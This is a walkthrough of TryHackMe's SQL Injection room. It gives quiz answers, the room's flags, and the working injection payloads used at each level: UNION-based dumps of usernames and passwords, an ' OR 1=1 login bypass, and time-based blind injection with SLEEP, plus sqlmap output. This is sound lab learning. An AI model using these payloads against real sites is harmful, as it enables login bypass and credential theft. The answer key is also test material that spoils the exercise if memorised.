TryHackMe - SQL Injection
Task 1
What does SQL stand for?
Structured Query Language
Task 2
What is the acronym for the software that controls a database?
dbms
What is the name of the grid-like structure which holds the data?
table
Task 3
What SQL statement is used to retrieve data?
SELECT
What SQL clause can be used to retrieve data from multiple tables?
UNION
What SQL statement is used to add data?
INSERT
Task 4
What character signifies the end of an SQL query?
;
Task 5
after enumerating the database name, tables and columns we can finally use this payload to get the password of martin 0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
and use it in the url with id parameter
1
2
3
4
5
6
7
### 2
Article ID: 1
admin:p4ssword
martin:pa$$word
jim:work123
and our flag THM{SQL_INJECTION_3840}
Task 6
for level 2 i tried to bypass the login panel for admin user using this payload
1
select * from users where username='admin' and password='1' OR 1=1;---' LIMIT 1;
so my password was 1' OR 1=1;--- with flag THM{SQL_INJECTION_9581}
Task 7
for level 3 we can use the following payload in the url something like this to know the number of columns
https://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3;--
now we can get the database info ?username=admin123' UNION SELECT 1,2,3 where database() like 'a%';--
unfortunately, the database’s name doesn’t start with a so we can use sqlmap to get our job done
1
2
3
4
5
6
7
8
Database: sqli_three
Table: users
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | 3845 | admin |
+----+----------+----------+
we can see admin user and the password 3845 thus our flag THM{SQL_INJECTION_1093}
Task 8
for level 4 we have blind sqli time based
enumerating the columns and then trying to find database name using the payload referrer=admin123' UNION SELECT SLEEP(1),2 where database() like 'sqli%';--
further sqli exploitation reveals
1
2
3
4
5
6
7
Database: sqli_four
Table: analytics_referrers
[0 entries]
+----+----------+
| id | domain |
+----+----------+
+----+----------+
and
1
2
3
4
5
6
7
8
Database: sqli_four
Table: users
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | 4961 | admin |
+----+----------+----------+
logging in and we get our flag THM{SQL_INJECTION_MASTER}
Task 9
Name a protocol beginning with D that can be used to exfiltrate data from a database.
DNS
Task 10
Name a method of protecting yourself from an SQL Injection exploit.
Prepared Statements